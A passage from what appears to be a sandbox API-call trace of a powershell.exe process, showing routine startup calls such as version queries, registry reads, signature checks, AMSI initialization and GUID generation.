lpSubBlock="\\\\StringFileInfo\\\\000004B0\\\\PrivateBuild", lplpBuffer=0x746ef24, puLen=0x746ef20 | out: lplpBuffer=0x746ef24*=0x0, puLen=0x746ef20) returned 0 [0109.701] VerQueryValueW (in: pBlock=0x53bbb44, lpSubBlock="\\\\StringFileInfo\\\\000004B0\\\\SpecialBuild", lplpBuffer=0x746ef24, puLen=0x746ef20 | out: lplpBuffer=0x746ef24*=0x0, puLen=0x746ef20) returned 0 [0109.701] VerQueryValueW (in: pBlock=0x53bbb44, lpSubBlock="\\VarFileInfo\\Translation", lplpBuffer=0x746ef18, puLen=0x746ef14 | out: lplpBuffer=0x746ef18*=0x53bbbe0, puLen=0x746ef14) returned 1 [0109.701] VerLanguageNameW (in: wLang=0x0, szLang=0x746eca8, cchLang=0x100 | out: szLang="Language Neutral") returned 0x10 [0109.702] VerQueryValueW (in: pBlock=0x53bbb44, lpSubBlock="\\", lplpBuffer=0x746ef28, puLen=0x746ef24 | out: lplpBuffer=0x746ef28*=0x53bbb6c, puLen=0x746ef24) returned 1 [0109.705] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\WSMAN", ulOptions=0x0, samDesired=0x20019, phkResult=0x746ef68 | out: phkResult=0x746ef68*=0x518) returned 0x0 [0109.705] RegQueryValueExW (in: hKey=0x518, lpValueName="ServiceStackVersion", lpReserved=0x0, lpType=0x746ef88, lpData=0x0, lpcbData=0x746ef84*=0x0 | out: lpType=0x746ef88*=0x1, lpData=0x0, lpcbData=0x746ef84*=0x8) returned 0x0 [0109.706] RegQueryValueExW (in: hKey=0x518, lpValueName="ServiceStackVersion", lpReserved=0x0, lpType=0x746ef88, lpData=0x53bdbfc, lpcbData=0x746ef84*=0x8 | out: lpType=0x746ef88*=0x1, lpData="3.0", lpcbData=0x746ef84*=0x8) returned 0x0 [0109.706] RegCloseKey (hKey=0x518) returned 0x0 [0109.707] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\PowerShell\\3\\PowerShellEngine", ulOptions=0x0, samDesired=0x20019, phkResult=0x746f688 | out: phkResult=0x746f688*=0x518) returned 0x0 [0109.707] RegQueryValueExW (in: hKey=0x518, lpValueName="ApplicationBase", lpReserved=0x0, lpType=0x746f6a8, lpData=0x0, lpcbData=0x746f6a4*=0x0 | out: lpType=0x746f6a8*=0x1, lpData=0x0, lpcbData=0x746f6a4*=0x56) returned 0x0 [0109.707] RegQueryValueExW (in: hKey=0x518, lpValueName="ApplicationBase", lpReserved=0x0, lpType=0x746f6a8, lpData=0x53bdeec, lpcbData=0x746f6a4*=0x56 | out: lpType=0x746f6a8*=0x1, lpData="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0", lpcbData=0x746f6a4*=0x56) returned 0x0 [0109.708] RegCloseKey (hKey=0x518) returned 0x0 [0109.709] GetFullPathNameW (in: lpFileName="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\Microsoft.PowerShell.Utility.psm1", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x72 [0109.709] GetFullPathNameW (in: lpFileName="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\Microsoft.PowerShell.Utility.psm1", nBufferLength=0x72, lpBuffer=0x315e1c0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\Microsoft.PowerShell.Utility.psm1", lpFilePart=0x0) returned 0x71 [0109.709] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x746f644) returned 1 [0109.709] GetFileAttributesExW (in: lpFileName="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\Microsoft.PowerShell.Utility.psm1" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\modules\\microsoft.powershell.utility\\microsoft.powershell.utility.psm1"), fInfoLevelId=0x0, lpFileInformation=0x746f6c0 | out: lpFileInformation=0x746f6c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9fe5a6a2, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x9fe5a6a2, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x9fe5a6a2, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x7780)) returned 1 [0109.709] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x746f640) returned 1 [0109.709] GetFullPathNameW (in: lpFileName="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\Microsoft.PowerShell.Utility.psm1", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x72 [0109.709] GetFullPathNameW (in: lpFileName="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\Microsoft.PowerShell.Utility.psm1", nBufferLength=0x72, lpBuffer=0x315e1c0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\Microsoft.PowerShell.Utility.psm1", lpFilePart=0x0) returned 0x71 [0109.710] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\PowerShell\\3\\PowerShellEngine", ulOptions=0x0, samDesired=0x20019, phkResult=0x746f650 | out: phkResult=0x746f650*=0x518) returned 0x0 [0109.710] RegQueryValueExW (in: hKey=0x518, lpValueName="ApplicationBase", lpReserved=0x0, lpType=0x746f670, lpData=0x0, lpcbData=0x746f66c*=0x0 | out: lpType=0x746f670*=0x1, lpData=0x0, lpcbData=0x746f66c*=0x56) returned 0x0 [0109.710] RegQueryValueExW (in: hKey=0x518, lpValueName="ApplicationBase", lpReserved=0x0, lpType=0x746f670, lpData=0x53be5a8, lpcbData=0x746f66c*=0x56 | out: lpType=0x746f670*=0x1, lpData="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0", lpcbData=0x746f66c*=0x56) returned 0x0 [0109.710] RegCloseKey (hKey=0x518) returned 0x0 [0109.839] CoTaskMemAlloc (cb=0x20c) returned 0x31c5aa0 [0109.839] SHGetFolderPathW (in: hwnd=0x0, csidl=37, hToken=0x0, dwFlags=0x0, pszPath=0x31c5aa0 | out: pszPath="C:\\WINDOWS\\system32") returned 0x0 [0109.840] CoTaskMemFree (pv=0x31c5aa0) [0109.840] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x14 [0109.840] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32", nBufferLength=0x14, lpBuffer=0x315e1c0, lpFilePart=0x0 | out: lpBuffer="C:\\WINDOWS\\system32", lpFilePart=0x0) returned 0x13 [0109.840] CoTaskMemAlloc (cb=0x20c) returned 0x31c5aa0 [0109.840] SHGetFolderPathW (in: hwnd=0x0, csidl=41, hToken=0x0, dwFlags=0x0, pszPath=0x31c5aa0 | out: pszPath="C:\\WINDOWS\\SysWOW64") returned 0x0 [0109.840] CoTaskMemFree (pv=0x31c5aa0) [0109.840] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\SysWOW64", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x14 [0109.840] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\SysWOW64", nBufferLength=0x14, lpBuffer=0x315e1c0, lpFilePart=0x0 | out: lpBuffer="C:\\WINDOWS\\SysWOW64", lpFilePart=0x0) returned 0x13 [0109.840] CoTaskMemAlloc (cb=0x20c) returned 0x31c5aa0 [0109.841] SHGetFolderPathW (in: hwnd=0x0, csidl=38, hToken=0x0, dwFlags=0x0, pszPath=0x31c5aa0 | out: pszPath="C:\\Program Files (x86)") returned 0x0 [0109.842] CoTaskMemFree (pv=0x31c5aa0) [0109.842] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x17 [0109.842] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)", nBufferLength=0x17, lpBuffer=0x315e1c0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)", lpFilePart=0x0) returned 0x16 [0109.844] GetFullPathNameW (in: lpFileName="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\Microsoft.PowerShell.Utility.psm1", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x72 [0109.844] GetFullPathNameW (in: lpFileName="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\Microsoft.PowerShell.Utility.psm1", nBufferLength=0x72, lpBuffer=0x315e1c0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\Microsoft.PowerShell.Utility.psm1", lpFilePart=0x0) returned 0x71 [0109.844] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x746f5b8) returned 1 [0109.844] GetFileAttributesExW (in: lpFileName="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\Microsoft.PowerShell.Utility.psm1" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\modules\\microsoft.powershell.utility\\microsoft.powershell.utility.psm1"), fInfoLevelId=0x0, lpFileInformation=0x746f634 | out: lpFileInformation=0x746f634*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9fe5a6a2, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x9fe5a6a2, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x9fe5a6a2, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x7780)) returned 1 [0109.844] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x746f5b4) returned 1 [0109.845] GetFullPathNameW (in: lpFileName="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\Microsoft.PowerShell.Utility.psm1", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x72 [0109.845] GetFullPathNameW (in: lpFileName="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\Microsoft.PowerShell.Utility.psm1", nBufferLength=0x72, lpBuffer=0x315e1c0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\Microsoft.PowerShell.Utility.psm1", lpFilePart=0x0) returned 0x71 [0109.845] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x746f58c) returned 1 [0109.845] CreateFileW (lpFileName="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\Microsoft.PowerShell.Utility.psm1" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\modules\\microsoft.powershell.utility\\microsoft.powershell.utility.psm1"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x51c [0109.845] GetFileType (hFile=0x51c) returned 0x1 [0109.845] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x746f588) returned 1 [0109.846] GetFileType (hFile=0x51c) returned 0x1 [0109.855] WTGetSignatureInfo () returned 0x0 [0110.821] CertDuplicateCertificateContext (pCertContext=0x77454e0) returned 0x77454e0 [0110.911] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\PowerShell\\3\\PowerShellEngine", ulOptions=0x0, samDesired=0x20019, phkResult=0x746f5f0 | out: phkResult=0x746f5f0*=0x738) returned 0x0 [0110.912] RegQueryValueExW (in: hKey=0x738, lpValueName="ApplicationBase", lpReserved=0x0, lpType=0x746f610, lpData=0x0, lpcbData=0x746f60c*=0x0 | out: lpType=0x746f610*=0x1, lpData=0x0, lpcbData=0x746f60c*=0x56) returned 0x0 [0110.912] RegQueryValueExW (in: hKey=0x738, lpValueName="ApplicationBase", lpReserved=0x0, lpType=0x746f610, lpData=0x541562c, lpcbData=0x746f60c*=0x56 | out: lpType=0x746f610*=0x1, lpData="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0", lpcbData=0x746f60c*=0x56) returned 0x0 [0110.912] RegCloseKey (hKey=0x738) returned 0x0 [0110.912] CoTaskMemAlloc (cb=0x10) returned 0x77b3560 [0110.912] CoTaskMemAlloc (cb=0x30) returned 0x77dfdc0 [0110.913] WinVerifyTrust () returned 0x0 [0110.917] CoTaskMemFree (pv=0x77dfdc0) [0110.917] CoTaskMemFree (pv=0x77b3560) [0110.917] CertFreeCertificateContext (pCertContext=0x77454e0) returned 1 [0110.917] CloseHandle (hObject=0x51c) returned 1 [0110.920] GetCurrentProcessId () returned 0x1368 [0110.920] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x1368) returned 0x51c [0110.920] EnumProcessModules (in: hProcess=0x51c, lphModule=0x5415ac4, cb=0x100, lpcbNeeded=0x746f65c | out: lphModule=0x5415ac4, lpcbNeeded=0x746f65c) returned 1 [0110.920] GetModuleInformation (in: hProcess=0x51c, hModule=0xb50000, lpmodinfo=0x5415c04, cb=0xc | out: lpmodinfo=0x5415c04*(lpBaseOfDll=0xb50000, SizeOfImage=0x6c000, EntryPoint=0xb595f0)) returned 1 [0110.920] CoTaskMemAlloc (cb=0x804) returned 0x772a6a8 [0110.920] GetModuleBaseNameW (in: hProcess=0x51c, hModule=0xb50000, lpBaseName=0x772a6a8, nSize=0x800 | out: lpBaseName="powershell.exe") returned 0xe [0110.920] CoTaskMemFree (pv=0x772a6a8) [0110.920] CoTaskMemAlloc (cb=0x804) returned 0x772a6a8 [0110.920] GetModuleFileNameExW (in: hProcess=0x51c, hModule=0xb50000, lpFilename=0x772a6a8, nSize=0x800 | out: lpFilename="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\powershell.exe" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\powershell.exe")) returned 0x39 [0110.920] CoTaskMemFree (pv=0x772a6a8) [0110.921] CloseHandle (hObject=0x51c) returned 1 [0110.921] GetFullPathNameW (in: lpFileName="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\powershell.exe", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x3a [0110.921] GetFullPathNameW (in: lpFileName="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\powershell.exe", nBufferLength=0x3a, lpBuffer=0x315e1c0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\powershell.exe", lpFilePart=0x0) returned 0x39 [0110.921] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x746f5dc) returned 1 [0110.921] GetFileAttributesExW (in: lpFileName="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\powershell.exe" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\powershell.exe"), fInfoLevelId=0x0, lpFileInformation=0x746f658 | out: lpFileInformation=0x746f658*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9fdc1d0a, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x9fdc1d0a, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x9fdc1d0a, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x69000)) returned 1 [0110.921] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x746f5d8) returned 1 [0110.921] GetFileVersionInfoSizeW (in: lptstrFilename="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\powershell.exe", lpdwHandle=0x746f6cc | out: lpdwHandle=0x746f6cc) returned 0x72c [0110.921] GetFileVersionInfoW (in: lptstrFilename="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\powershell.exe", dwHandle=0x0, dwLen=0x72c, lpData=0x5417ddc | out: lpData=0x5417ddc) returned 1 [0110.921] VerQueryValueW (in: pBlock=0x5417ddc, lpSubBlock="\\VarFileInfo\\Translation", lplpBuffer=0x746f6a0, puLen=0x746f69c | out: lplpBuffer=0x746f6a0*=0x541816c, puLen=0x746f69c) returned 1 [0110.921] VerQueryValueW (in: pBlock=0x5417ddc, lpSubBlock="\\\\StringFileInfo\\\\040904B0\\\\CompanyName", lplpBuffer=0x746f620, puLen=0x746f61c | out: lplpBuffer=0x746f620*=0x5417e94, puLen=0x746f61c) returned 1 [0110.921] VerQueryValueW (in: pBlock=0x5417ddc, lpSubBlock="\\\\StringFileInfo\\\\040904B0\\\\FileDescription", lplpBuffer=0x746f620, puLen=0x746f61c | out: lplpBuffer=0x746f620*=0x5417ee8, puLen=0x746f61c) returned 1 [0110.921] VerQueryValueW (in: pBlock=0x5417ddc, lpSubBlock="\\\\StringFileInfo\\\\040904B0\\\\FileVersion", lplpBuffer=0x746f620, puLen=0x746f61c | out: lplpBuffer=0x746f620*=0x5417f30, puLen=0x746f61c) returned 1 [0110.921] VerQueryValueW (in: pBlock=0x5417ddc, lpSubBlock="\\\\StringFileInfo\\\\040904B0\\\\InternalName", lplpBuffer=0x746f620, puLen=0x746f61c | out: lplpBuffer=0x746f620*=0x5417f98, puLen=0x746f61c) returned 1 [0110.921] VerQueryValueW (in: pBlock=0x5417ddc, lpSubBlock="\\\\StringFileInfo\\\\040904B0\\\\LegalCopyright", lplpBuffer=0x746f620, puLen=0x746f61c | out: lplpBuffer=0x746f620*=0x5417fd4, puLen=0x746f61c) returned 1 [0110.921] VerQueryValueW (in: pBlock=0x5417ddc, lpSubBlock="\\\\StringFileInfo\\\\040904B0\\\\OriginalFilename", lplpBuffer=0x746f620, puLen=0x746f61c | out: lplpBuffer=0x746f620*=0x5418058, puLen=0x746f61c) returned 1 [0110.922] VerQueryValueW (in: pBlock=0x5417ddc, lpSubBlock="\\\\StringFileInfo\\\\040904B0\\\\ProductName", lplpBuffer=0x746f620, puLen=0x746f61c | out: lplpBuffer=0x746f620*=0x54180a0, puLen=0x746f61c) returned 1 [0110.922] VerQueryValueW (in: pBlock=0x5417ddc, lpSubBlock="\\\\StringFileInfo\\\\040904B0\\\\ProductVersion", lplpBuffer=0x746f620, puLen=0x746f61c | out: lplpBuffer=0x746f620*=0x5418110, puLen=0x746f61c) returned 1 [0110.922] VerQueryValueW (in: pBlock=0x5417ddc, lpSubBlock="\\\\StringFileInfo\\\\040904B0\\\\Comments", lplpBuffer=0x746f620, puLen=0x746f61c | out: lplpBuffer=0x746f620*=0x0, puLen=0x746f61c) returned 0 [0110.922] VerQueryValueW (in: pBlock=0x5417ddc, lpSubBlock="\\\\StringFileInfo\\\\040904B0\\\\LegalTrademarks", lplpBuffer=0x746f620, puLen=0x746f61c | out: lplpBuffer=0x746f620*=0x0, puLen=0x746f61c) returned 0 [0110.922] VerQueryValueW (in: pBlock=0x5417ddc, lpSubBlock="\\\\StringFileInfo\\\\040904B0\\\\PrivateBuild", lplpBuffer=0x746f620, puLen=0x746f61c | out: lplpBuffer=0x746f620*=0x0, puLen=0x746f61c) returned 0 [0110.922] VerQueryValueW (in: pBlock=0x5417ddc, lpSubBlock="\\\\StringFileInfo\\\\040904B0\\\\SpecialBuild", lplpBuffer=0x746f620, puLen=0x746f61c | out: lplpBuffer=0x746f620*=0x0, puLen=0x746f61c) returned 0 [0110.922] VerQueryValueW (in: pBlock=0x5417ddc, lpSubBlock="\\VarFileInfo\\Translation", lplpBuffer=0x746f614, puLen=0x746f610 | out: lplpBuffer=0x746f614*=0x541816c, puLen=0x746f610) returned 1 [0110.922] VerLanguageNameW (in: wLang=0x409, szLang=0x746f3a4, cchLang=0x100 | out: szLang="English (United States)") returned 0x17 [0110.922] VerQueryValueW (in: pBlock=0x5417ddc, lpSubBlock="\\", lplpBuffer=0x746f624, puLen=0x746f620 | out: lplpBuffer=0x746f624*=0x5417e04, puLen=0x746f620) returned 1 [0110.928] AmsiInitialize () returned 0x0 [0113.336] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x746edb0, nSize=0x80 | out: lpBuffer="⌸ـḺP狖݆݆\x01") returned 0x0 [0113.337] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x746edb0, nSize=0x80 | out: lpBuffer="?狘݆݆") returned 0x0 [0113.978] GetTimeZoneInformation (in: lpTimeZoneInformation=0x746f29c | out: lpTimeZoneInformation=0x746f29c) returned 0x2 [0113.980] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x746eb10, nSize=0x80 | out: lpBuffer="က滸က滸") returned 0x0 [0113.981] CoCreateGuid (in: pguid=0x746f364 | out: pguid=0x746f364*(Data1=0x4c22b1ec, Data2=0x361e, Data3=0x44d4, Data4=([0]=0xbd, [1]=0x73, [2]=0x12, [3]=0xef, [4]=0x6a, [5]=0xbc, [6]=0xa8, [7]=0x4f))) returned 0x0 [0114.246] CoCreateGuid (in: pguid=0x746f364 | out: pguid=0x746f364*(Data1=0x1a1a3eeb, Data2=0x3f65, Data3=0x41af, Data4=([0]=0x94, [1]=0x75, [2]=0xc6, [3]=0xec, [4]=0x3a, [5]=0x81, [6]=0x2b, [7]=0x39))) returned 0x0 [0114.249] CoCreateGuid (in: pguid=0x746f364 | out: pguid=0x746f364*(Data1=0x8ad18385, Data2=0xfbf6, Data3=0x4de2, Data4=([0]=0xa9, [1]=0x4c, [2]=0xd9, [3]=0xda, [4]=0x27, [5]=0xd9, [6]=0x71, [7]=0x44))) returned 0x0 [0114.250] CoCreateGuid (in: pguid=0x746f364 | out: pguid=0x746f364*(Data1=0x1c7ed028, Data2=0x1a28, Data3=0x42b4, Data4=([0]=0xb8, [1]=0x2e, [2]=0x68, [3]=0xf, [4]=0xa8, [5]=0x28, [6]=0xd7, [7]=0x46))) returned 0x0 [0114.253] CoCreateGuid (in: pguid=0x746f364 | out: pguid=0x746f364*(Data1=0x9d1f35e4, Data2=0xdac9, Data3=0x4b9b, Data4=([0]=0xa9, [1]=0x23, [2]=0x2b, [3]=0x6a, [4]=0x36, [5]=0xbf, [6]=0x4c, [7]=0x57))) returned 0x0 [0114.254] CoCreateGuid (in: pguid=0x746f364 | out: pguid=0x746f364*(Data1=0x675dc7f6, Data2=0xb771, Data3=0x4729, Data4=([0]=0x8b, [1]=0x1, [2]=0x7b, [3]=0xa9, [4]=0x65, [5]=0xf3, [6]=0xae, [7]=0xe8))) returned 0x0 [0114.256] CoCreateGuid (in: pguid=0x746f364 | out: pguid=0x746f364*(Data1=0x1d052fd1, Data2=0xaa91, Data3=0x4d38, Data4=([0]=0x9c, [1]=0xf3, [2]=0xce, [3]=0x7b, [4]=0x79, [5]=0x22, [6]=0xbd, [7]=0x79))) returned 0x0 [0114.262] CoCreateGuid (in: pguid=0x746f364 | out: pguid=0x746f364*(Data1=0x35e2c4fa, Data2=0x1822, Data3=0x4973, Data4=([0]=0x95, [1]=0x26, [2]=0xf4, [3]=0x2f, [4]=0x53, [5]=0xa8, [6]=0xfb, [7]=0x5d))) returned 0x0 [0114.266] CoCreateGuid (in: pguid=0x746f364 | out: pguid=0x746f364*(Data1=0xafa58a2d, Data2=0x2751, Data3=0x4886, Data4=([0]=0x8f, [1]=0x2e, [2]=0xeb, [3]=0x6e, [4]=0xd0, [5]=0xa, [6]=0xca, [7]=0x72))) returned 0x0 [0114.266] CoCreateGuid (in: pguid=0x746f364 | out: pguid=0x746f364*(Data1=0xb9b7694e, Data2=0xeb3e, Data3=0x461c, Data4=([0]=0x8a, [1]=0xce, [2]=0x1f, [3]=0xb6, [4]=0x96, [5]=0xb, [6]=0x6f, [7]=0x14))) returned 0x0 [0114.270] CoCreateGuid (in: pguid=0x746f364 | out: pguid=0x746f364*(Data1=0x94e315a7, Data2=0x4d0e, Data3=0x49ed, Data4=([0]=0xac, [1]=0xa6, [2]=0x63, [3]=0x7e, [4]=0x4b, [5]=0x6f, [6]=0x88, [7]=0xbc))) returned 0x0 [0114.272] CoCreateGuid (in: pguid=0x746f364 | out: pguid=0x746f364*(Data1=0x376ca5a5, Data2=0xdf5, Data3=0x4e80, Data4=([0]=0x91, [1]=0xec, [2]=0x50, [3]=0xaa, [4]=0x4c, [5]=0xa9, [6]=0x22, [7]=0x2a))) returned 0x0 [0114.275] CoCreateGuid (in: pguid=0x746f364 | out: pguid=0x746f364*(Data1=0xf567a767, Data2=0xcbb7, Data3=0x4df1, Data4=([0]=0xa7, [1]=0xd4, [2]=0xf1, [3]=0xdb, [4]=0xfe, [5]=0xa0, [6]=0x54, [7]=0x17))) returned 0x0 [0114.275] CoCreateGuid (in: pguid=0x746f364 | out: pguid=0x746f364*(Data1=0x4845a877, Data2=0xa83e, Data3=0x40ca, Data4=([0]=0xbb, [1]=0x90, [2]=0x80, [3]=0xd, [4]=0xd0, [5]=0xc2, [6]=0x3e, [7]=0xb1))) returned 0x0 [0114.278] CoCreateGuid (in: pguid=0x746f364 | out: pguid=0x746f364*(Data1=0xba718370, Data2=0xa114, Data3=0x4c44, Data4=([0]=0xac, [1]=0x60, [2]=0xb7, [3]=0x6b, [4]=0x34, [5]=0xd2, [6]=0xef, [7]=0x6d))) returned 0x0 [0114.279] CoCreateGuid (in: pguid=0x746f364 | out: pguid=0x746f364*(Data1=0x59087d3, Data2=0x9e92, Data3=0x48f9, Data4=([0]=0x93, [1]=0xaa, [2]=0x8e, [3]=0xa3, [4]=0x81, [5]=0x44, [6]=0x4b, [7]=0x5c))) returned 0x0 [0114.281] CoCreateGuid (in: pguid=0x746f364 | out: pguid=0x746f364*(Data1=0xe9731b87, Data2=0x43a4, Data3=0x499c, Data4=([0]=0x8c, [1]=0xee, [2]=0x67, [3]=0xda, [4]=0x21, [5]=0xa2, [6]=0xd1, [7]=0x17))) returned 0x0 [0114.281] CoCreateGuid (in: pguid=0x746f364 | out: pguid=0x746f364*(Data1=0x52dc2ef2, Data2=0xaa45, Data3=0x4481, Data4=([0]=0xb3, [1]=0x72, [2]=0x79, [3]=0x32, [4]=0xc5, [5]=0xc7, [6]=0x42, [7]=0x3d))) returned 0x0 [0114.457] CoCreateGuid (in: pguid=0x746f364 | out: pguid=0x746f364*(Data1=0x2447eb81, Data2=0x8e73, Data3=0x4261, Data4=([0]=0x92, [1]=0xda, [2]=0xbc, [3]=0x64, [4]=0x22, [5]=0x8b, [6]=0x3f, [7]=0xd5))) returned 0x0 [0114.460] CoCreateGuid (in: pguid=0x746f364 | out: pguid=0x746f364*(Data1=0x9bb62e8d, Data2=0xbe93, Data3=0x4b9d, Data4=([0]=0xa5, [1]=0xb9, [2]=0x15, [3]=0xfb, [4]=0x29, [5]=0x6f, [6]=0x1f, [7]=0x7f))) returned 0x0 [0114.462] CoCreateGuid (in: pguid=0x746f364 | out: pguid=0x746f364*(Data1=0xb24bbab7, Data2=0xb9b0, Data3=0x49c8, Data4=([0]=0x9b, [1]=0x9c, [2]=0x1a, [3]=0xf7, [4]=0x61, [5]=0xd4, [6]=0x74, [7]=0x48))) returned 0x0 [0114.462] CoCreateGuid (in: pguid=0x746f364 | out: pguid=0x746f364*(Data1=0x69d1e581, Data2=0x7a96, Data3=0x4836, Data4=([0]=0x86, [1]=0xcc, [2]=0xf9, [3]=0x57, [4]=0xdb, [5]=0x25, [6]=0xd4, [7]=0x85))) returned 0x0 [0114.464] CoCreateGuid (in: pguid=0x746f364 | out: pguid=0x746f364*(Data1=0xd95022b6, Data2=0x26e7, Data3=0x4e1c, Data4=([0]=0x93, [1]=0x26, [2]=0x43, [3]=0x97, [4]=0x5c, [5]=0xb5, [6]=0x49, [7]=0x47))) returned 0x0 [0114.468] CoCreateGuid (in: pguid=0x746f364 | out: pguid=0x746f364*(Data1=0x8e0a99bb, Data2=0xc3be, Data3=0x4fd5, Data4=([0]=0xab, [1]=0x39, [2]=0x1d, [3]=0x91, [4]=0xb9, [5]=0x60, [6]=0xe, [7]=0x6f))) returned 0x0 [0114.468] CoCreateGuid (in: pguid=0x746f364 | out: pguid=0x746f364*(Data1=0x9e358704, Data2=0x1d6e, Data3=0x435b, Data4=([0]=0xb1, [1]=0x4, [2]=0x81, [3]=0xc0, [4]=0x1d, [5]=0xcf, [6]=0xf, [7]=0x36))) returned 0x0 [0114.469] CoCreateGuid (in: pguid=0x746f364 | out: pguid=0x746f364*(Data1=0x1ec0b27, Data2=0xbc2c, Data3=0x4d60, Data4=([0]=0x99, [1]=0xab, [2]=0x81, [3]=0x5a, [4]=0x6f, [5]=0xe8, [6]=0x1c, [7]=0xcc))) returned 0x0 [0114.469] CoCreateGuid (in: pguid=0x746f364 | out: pguid=0x746f364*(Data1=0x19bb1134, Data2=0x1e88, 